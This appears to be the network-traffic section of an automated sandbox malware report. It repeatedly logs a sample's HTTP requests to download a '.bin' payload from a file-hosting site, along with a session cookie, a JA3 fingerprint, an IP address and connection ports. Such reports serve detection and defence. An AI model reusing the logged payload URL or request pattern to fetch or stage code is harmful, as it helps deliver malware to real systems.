Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 104.16.53.48 104.16.53.48

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
